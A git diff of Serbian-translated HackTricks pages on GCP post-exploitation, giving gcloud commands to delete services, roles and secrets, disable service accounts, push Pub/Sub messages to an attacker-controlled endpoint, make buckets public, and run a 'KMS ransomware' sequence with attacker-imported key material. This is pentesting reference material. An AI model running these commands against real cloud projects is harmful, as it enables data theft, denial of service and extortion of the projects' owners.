Uticaj: Kontinuirana gotovo u realnom vremenu exfiltration odabranih tabela Aurora PostgreSQL u Redshift Serverless pod kontrolom napadača, bez korišćenja kredencijala baze podataka, rezervnih kopija ili mrežnog pristupa izvornom klasteru.
|
||||
Uticaj: Continuous near‑real‑time exfiltration izabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups ili network access do izvornog klastera.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Za informacije o App Engine pogledajte:
|
||||
For information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,36 +12,37 @@ Za informacije o App Engine pogledajte:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
Uz ove dozvole moguće je:
|
||||
Sa ovim dozvolama je moguće:
|
||||
|
||||
- Dodati ključ
|
||||
- Navesti ključeve
|
||||
- Dobiti ključ
|
||||
- Obrisati
|
||||
- Prikazati ključeve
|
||||
- Preuzeti ključ
|
||||
- Izbrisati
|
||||
|
||||
> [!CAUTION]
|
||||
> Međutim, **nisam uspeo da nađem način da pristupim ovim informacijama preko cli-a**, samo iz **web console** gde morate znati **Key type** i **Key name**, ili iz same **aplikacije koja se pokreće na App Engine**.
|
||||
> Međutim, **nisam uspeo da pronađem način da pristupim ovim informacijama iz cli**, samo iz **web console** gde morate znati **Key type** i **Key name**, ili iz aplikacije koja radi na **App Engine**.
|
||||
>
|
||||
> Ako znate lakše načine da koristite ove dozvole, pošaljite Pull Request!
|
||||
> Ako znate lakše načine da koristite ove dozvole pošaljite Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Sa ovom dozvolom moguće je **videti logove aplikacije**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Praćenje logova aplikacije (tail)</summary>
|
||||
Sa ovom dozvolom je moguće **videti logove aplikacije**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### Brisanje servisa i verzija
|
||||
|
||||
### Čitanje izvornog koda
|
||||
Dozvole `appengine.versions.delete`, `appengine.versions.list` i `appengine.services.list` omogućavaju upravljanje i brisanje određenih verzija App Engine aplikacije, što može uticati na saobraćaj ako je on podeljen ili ako je uklonjena jedina stabilna verzija. U međuvremenu, dozvole `appengine.services.delete` i `appengine.services.list` omogućavaju prikazivanje i brisanje celih servisa — radnja koja trenutno prekida sav saobraćaj i dostupnost povezanih verzija.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Pročitaj izvorni kod
|
||||
|
||||
Izvorni kod svih verzija i servisa je **smešten u bucket** pod imenom **`staging.<proj-id>.appspot.com`**. Ako imate pristup za upis nad njim, možete pročitati izvorni kod i pretražiti ga za **ranjivosti** i **osetljive informacije**.
|
||||
Izvorni kod svih verzija i servisa je **stored in the bucket** sa imenom **`staging.<proj-id>.appspot.com`**. Ako imate write access nad njim, možete pročitati izvorni kod i pretražiti **vulnerabilities** i **sensitive information**.
|
||||
|
||||
### Izmena izvornog koda
|
||||
### Izmenite izvorni kod
|
||||
|
||||
Izmenite izvorni kod da biste ukrali credentials ako se šalju ili izvršili defacement web attack.
|
||||
Izmenite izvorni kod kako biste steal credentials ako se šalju ili izvršili defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,30 +12,31 @@ Pronađite informacije o Cloud Functions u:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Sa ovom dozvolom možete dobiti **potpisani URL za preuzimanje izvornog koda** Cloud Function:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dobijte potpisani URL za preuzimanje izvornog koda</summary>
|
||||
Sa ovom dozvolom možete dobiti **signed URL koji omogućava preuzimanje izvornog koda** Cloud Function:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
Dozvola `cloudfunctions.functions.delete` omogućava identitetu da u potpunosti obriše Cloud Function, uključujući njen kod, konfiguraciju, okidače i povezanost sa service accounts.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration kroz bucket
|
||||
Dozvole `storage.objects.get` i `storage.objects.list` omogućavaju listanje i čitanje objekata unutar bucket-a, a u slučaju Cloud Functions ovo je posebno relevantno jer svaka funkcija čuva svoj izvorni kod u automatski upravljanom Google bucket-u, čije ime sledi format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Krađa zahteva Cloud Function
|
||||
|
||||
Ako Cloud Function rukuje osetljivim informacijama koje korisnici šalju (npr. lozinke ili tokeni), uz dovoljno privilegija možete **modify the source code of the function and exfiltrate** ove informacije.
|
||||
### Krađa Cloud Function zahteva
|
||||
|
||||
Pored toga, Cloud Functions koje rade u python koriste **flask** za izlaganje web servera. Ako nekako pronađete ranjivost za code injection unutar flaks procesa (na primer SSTI ranjivost), moguće je **override the function handler** koji će primati HTTP zahteve za **malicious function** koja može **exfiltrate the request** pre nego što ih prosledi legitimnom handleru.
|
||||
Ako Cloud Function obrađuje osetljive informacije koje korisnici šalju (npr. passwords or tokens), uz dovoljne privilegije možete **izmeniti izvorni kod funkcije i exfiltrate** te informacije.
|
||||
|
||||
Pored toga, Cloud Functions koje rade u python koriste **flask** za izlaganje web servera; ako na neki način pronađete code injection ranjivost unutar flask procesa (na primer SSTI ranjivost), moguće je **override the function handler** koji će primati HTTP zahteve za jednu **malicious function** koja može **exfiltrate the request** pre nego što ga prosledi legitimnom handleru.
|
||||
|
||||
Na primer, ovaj kod implementira napad:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krađa zahteva Cloud Function (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +133,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,20 +4,31 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Za više informacija o Cloud Run, proverite:
|
||||
Za više informacija o Cloud Run pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Pristup slikama
|
||||
### Delete CloudRun Job
|
||||
Dozvole `run.services.delete` i `run.services.get`, kao i `run.jobs.delete`, omogućavaju identitetu da u potpunosti obriše Cloud Run servis ili job, uključujući njegovu konfiguraciju i istoriju. U rukama an attacker, ovo može izazvati trenutni prekid rada aplikacija ili kritičnih tokova posla, što rezultira denial of service (DoS) za korisnike i sisteme koji zavise od logike servisa ili bitnih zakazanih zadataka.
|
||||
|
||||
Ako možete pristupiti slikama kontejnera, proverite kod na ranjivosti i hardkodirane osetljive informacije. Takođe proverite osetljive informacije u env varijablama.
|
||||
Da biste obrisali job, može se izvršiti sledeća operacija.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
Za brisanje servisa može se izvršiti sledeća operacija.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### Access the images
|
||||
|
||||
Ako su slike smeštene u repozitorijumima unutar servisa Artifact Registry i korisnik ima pristup za čitanje nad repozitorijumima, takođe može preuzeti sliku iz ovog servisa.
|
||||
Ako možete da pristupite container images, proverite code na vulnerabilities i hardkodovane osetljive informacije. Takođe proverite osetljive informacije u env variables.
|
||||
|
||||
### Izmenite i ponovo implementirajte sliku
|
||||
Ako su images smeštene u repos unutar servisa Artifact Registry i korisnik ima read access na te repos, on takođe može da preuzme image iz tog servisa.
|
||||
|
||||
Izmenite sliku za pokretanje kako biste ukrali informacije i ponovo implementirajte novu verziju (samo učitavanje novog docker kontejnera sa istim oznakama neće ga pokrenuti). Na primer, ako izlaže stranicu za prijavu, ukradite akreditive koje korisnici šalju.
|
||||
### Modify & redeploy the image
|
||||
|
||||
Izmenite run image da biste ukrali informacije i redeploy-ujte novu verziju (samo uploadovanje novog docker container sa istim tags neće ga pokrenuti). Na primer, ako izlaže login page, ukradujte credentials koje users šalju.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,22 +12,40 @@ You can find further information about IAM in:
|
||||
|
||||
### Dodeljivanje pristupa konzoli za upravljanje <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
|
||||
Pristup [GCP management console](https://console.cloud.google.com) se **dodeljuje korisničkim nalozima, a ne service accounts**. Da biste se prijavili u web interfejs, možete **dodeliti pristup Google account-u** koji kontrolišete. To može biti generički "**@gmail.com**" nalog, ne mora da bude član ciljne organizacije.
|
||||
|
||||
Međutim, da biste **dodelili** primitivnu rolu **Owner** generičkom "@gmail.com" nalogu, moraćete da **koristite web console**. `gcloud` će prijaviti grešku ako pokušate da mu dodelite dozvolu iznad **Editor**.
|
||||
Međutim, da biste **dodelili** primitivnu ulogu **Owner** generičkom "@gmail.com" nalogu, moraćete da **koristite web konzolu**. `gcloud` će prijaviti grešku ako pokušate da mu dodelite dozvolu iznad Editor.
|
||||
|
||||
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dodeli rolu Editor korisniku</summary>
|
||||
Možete koristiti sledeću naredbu da **dodelite korisniku primitivnu ulogu Editor** za vaš postojeći projekat:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
Ako ste ovde uspeli, pokušajte **pristupiti web interfejsu** i istražiti odatle.
|
||||
|
||||
Ako ste uspeli ovde, pokušajte da **pristupite web interfejsu** i istražite odatle.
|
||||
Ovo je **najviši nivo koji možete dodeliti koristeći gcloud tool**.
|
||||
|
||||
Ovo je **najviši nivo koji možete dodeliti koristeći gcloud alat**.
|
||||
### Brisanje IAM komponenti `iam.*.delete`
|
||||
Dozvole `iam.*.delete` (npr. `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, itd.) omogućavaju identitetu da obriše kritične IAM komponente kao što su custom roles, API key bindings, service account keys i same service accounts. U rukama napadača, ovo omogućava uklanjanje legitimnih mehanizama pristupa kako bi se prouzrokovao denial of service.
|
||||
|
||||
Da biste izveli takav napad, moguće je, na primer, obrisati roles koristeći:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
Dozvole `iam.serviceAccountKeys.disable` i `iam.serviceAccounts.disable` omogućavaju onemogućavanje aktivnih ključeva servisnih naloga ili samih servisnih naloga, što u rukama napadača može da se iskoristi za ometanje rada, prouzrokovanje denial of service-a ili otežavanje incident response-a sprečavanjem upotrebe legitimate credentials.
|
||||
|
||||
Da biste onemogućili servisni nalog, možete koristiti sledeću komandu:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Da biste onemogućili ključeve Service Account-a, možete upotrebiti sledeću komandu:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
Dozvole `iam.*.undelete` omogućavaju vraćanje prethodno obrisanih elemenata kao što su API key bindings, custom roles ili service accounts. U rukama napadača, ovo se može iskoristiti za poništavanje odbrambenih mera (oporavak uklonjenog pristupa), ponovno uspostavljanje obrisanih vektora kompromitacije radi održavanja perzistencije, ili izbegavanje mera sanacije, što komplikuje suzbijanje incidenta.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Pronađite osnovne informacije o KMS-u u:
|
||||
Pronađite osnovne informacije o KMS u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,11 +12,11 @@ Pronađite osnovne informacije o KMS-u u:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
An attacker sa ovom dozvolom može da uništi KMS verziju. Da biste to uradili, prvo morate da onemogućite ključ, a zatim da ga uništite:
|
||||
Napadač sa ovom dozvolom može uništiti verziju KMS-a. Da biste to uradili, najpre morate onemogućiti ključ, a zatim ga uništiti:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Onemogući i uništi verziju ključa (Python)</summary>
|
||||
<summary>Onemogućite i uništite verziju ključa (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
U AWS je moguće potpuno **steal a KMS key** promenom KMS resource policy i dozvoljavanjem da samo attackers account koristi ključ. Pošto te resource policies ne postoje u GCP, ovo nije moguće.
|
||||
U AWS-u je moguće potpuno **steal a KMS key** promenom KMS resource policy i tako da samo nalog napadača može da koristi ključ. Pošto takve resource policies ne postoje u GCP-u, ovo nije moguće.
|
||||
|
||||
Međutim, postoji drugi način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:
|
||||
Međutim, postoji drugi način da se izvede global KMS Ransomware, koji bi uključivao sledeće korake:
|
||||
|
||||
- Kreirajte novu **version of the key with a key material** koju je importovao napadač
|
||||
- Napraviti novu **verziju ključa sa ključnim materijalom** koju uveze napadač
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Postavi je kao **podrazumevanu verziju** (za buduće podatke koji će biti enkriptovani)
|
||||
- **Ponovo enkriptuj starije podatke** koji su bili enkriptovani prethodnom verzijom koristeći novu.
|
||||
- **Obriši KMS key**
|
||||
- Sada samo napadač koji poseduje originalni ključni materijal može da dekriptuje enkriptovane podatke
|
||||
- Postavite je kao **podrazumevanu verziju** (za buduće podatke koji će biti šifrovani)
|
||||
- **Ponovo šifrujte starije podatke** koji su bili šifrovani prethodnom verzijom koristeći novu.
|
||||
- **Obrišite KMS ključ**
|
||||
- Sada samo napadač koji poseduje originalni ključni materijal može da dešifruje šifrovane podatke
|
||||
|
||||
#### Evo koraka za uvoz nove verzije i onemogućavanje/brisanje starijih podataka:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uvezi novu verziju ključa i obriši staru verziju</summary>
|
||||
<summary>Uvezite novu verziju ključa i obrišite staru verziju</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
Dozvola `cloudkms.cryptoKeyVersions.restore` omogućava identitetu da vrati verziju ključa koja je prethodno bila zakazana za uništenje ili onemogućena u Cloud KMS, vraćajući je u aktivno i upotrebljivo stanje.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
Dozvola `cloudkms.cryptoKeyVersions.update` omogućava identitetu da izmeni atribute ili stanje određene verzije ključa u Cloud KMS, na primer omogućavanjem ili onemogućavanjem iste.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Pub/Sub Post-eksploatacija
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Za više informacija o Pub/Sub pogledajte sledeću stranicu:
|
||||
Za više informacija o Pub/Sub proverite sledeću stranicu:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,7 +12,7 @@ Za više informacija o Pub/Sub pogledajte sledeću stranicu:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Objavite poruku u topic, korisno za **slanje neočekivanih podataka** i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
|
||||
Objavljivanje poruke u topic, korisno za **slanje neočekivanih podataka** i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Koristan za sprečavanje da subscription prima poruke, možda da bi se izbegla detekcija.
|
||||
Koristan za sprečavanje da subscription prima poruke — može se koristiti za izbegavanje detekcije.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Odvoji subscription od topic-a</summary>
|
||||
<summary>Detach subscription from topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Korisno za sprečavanje da subscription prima poruke, možda radi izbegavanja detekcije.\
|
||||
Moguće je obrisati topic čak i kada su subscriptions prikačene za njega.
|
||||
Korisno za sprečavanje da subscription prima poruke, možda kako bi se izbegla detekcija.\
|
||||
Moguće je izbrisati topic čak i kada su subscriptions prikačene na njega.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -50,19 +50,45 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Koristite ovu dozvolu da ažurirate neku postavku topic-a kako biste ga poremetili, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Iskoristite ovu dozvolu da izmenite neka podešavanja teme i ometate je, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Dodelite sebi dozvolu da izvršite bilo koji od prethodnih napada.
|
||||
Dodelite sebi dozvolu da izvršite bilo koju od prethodnih attacks.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Preuzmite sve poruke na web serveru:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kreirajte push subscription za primanje poruka</summary>
|
||||
<summary>Kreirajte push subscription da biste primali poruke</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nečeg sličnog:
|
||||
**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nešto slično:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Koristite ovu dozvolu да ажурiraтe неку постaвку тако да се poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) или једноставно да је ometate.
|
||||
Koristite ovu dozvolu da ažurirate neko podešavanje tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) ili samo da ga ometate.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ažuriranje endpointa pretplate</summary>
|
||||
<summary>Endpoint za ažuriranje subscription-a</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Dodelite sebi dozvole potrebne za izvođenje bilo kog od prethodno pomenutih napada.
|
||||
Dodeli sebi dozvole potrebne za izvođenje bilo koje od prethodno pomenutih napada.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Prikačite schema na topic tako da poruke ne ispunjavaju njegovu definiciju i zbog toga topic bude ometen.\
|
||||
Ako nema nijedne schema, možda ćete morati da kreirate jednu.
|
||||
Napadni šemu na topic tako da poruke ne zadovolje šemu i zato topic bude onemogućen.\
|
||||
Ako nema šema, možda će biti potrebno da kreiraš jednu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kreirajte schema fajl i prikačite ga na topic</summary>
|
||||
<summary>Kreiraj fajl sa šemom i prikači ga na topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Ovo može izgledati kao da će, brisanjem šeme, moći da se šalju poruke koje ne zadovoljavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je **BESMISLENO**:
|
||||
Može izgledati da brisanjem šeme možete slati poruke koje ne odgovaraju šemi. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je **BESMISLENO**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih attacks.
|
||||
Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih napada.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Ovo će kreirati snapshot svih unACKed poruka i vratiti ih nazad u subscription. Nije naročito korisno za attacker, ali evo:
|
||||
Ovo će kreirati snapshot svih unACKed poruka i vratiti ih u subscription. Nije naročito korisno za napadača, ali evo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create snapshot and seek to it</summary>
|
||||
<summary>Kreiraj snapshot i seek-uj na njega</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
@@ -12,15 +12,38 @@ Za više informacija o Secret Manager pogledajte:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Ovo vam daje pristup za čitanje secrets iz Secret Manager-a i može pomoći u eskalaciji privilegija (u zavisnosti od informacija koje su uskladištene u secret-u):
|
||||
Ovo vam daje pristup čitanju tajni iz Secret Manager-a i može pomoći u eskalaciji privilegija (u zavisnosti od informacija koje su uskladištene u tajni):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pristup verziji secret-a</summary>
|
||||
<summary>Pristup verziji tajne</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
Dozvola `secretmanager.versions.destroy` omogućava identitetu da trajno uništi (označi kao nepovratno izbrisanu) određenu verziju tajne u Secret Manager, što može omogućiti uklanjanje kritičnih kredencijala i potencijalno izazvati denial of service ili sprečiti oporavak osetljivih podataka.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
Dozvola `secretmanager.versions.disable` omogućava identitetu da onemogući aktivne verzije tajni u Secret Manager, privremeno blokirajući njihovu upotrebu od strane aplikacija ili servisa koji zavise od njih.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
Skup dozvola `secretmanager.secrets.delete` omogućava identitetu da u potpunosti obriše tajnu i sve njene sačuvane verzije u Secret Manager.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
Dozvola `secretmanager.secrets.update` omogućava identitetu da izmeni metapodatke i konfiguraciju tajne (na primer, podešavanja rotacije, politiku verzija, oznake i određena svojstva tajne).
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,11 +12,7 @@ Za više informacija o Cloud Storage pogledajte ovu stranicu:
|
||||
|
||||
### Omogućavanje javnog pristupa
|
||||
|
||||
Moguće je omogućiti eksternim korisnicima (prijavljenim na GCP ili ne) pristup sadržaju bucket-ova. Međutim, po defaultu opcija za javno izlaganje bucket-a biće onemogućena:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Učinite bucket/objects javnim</summary>
|
||||
Moguće je dati eksternim korisnicima (prijavljenim na GCP ili ne) pristup sadržaju bucket-a. Međutim, podrazumevano će opcija za javno izlaganje bucket-a biti onemogućena:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
Ako pokušate da dodelite **ACLs** bucketu sa onemogućenim ACLs, dobićete ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Ako pokušate da dodelite **ACLs za bucket sa onemogućenim ACLs** naići ćete na ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
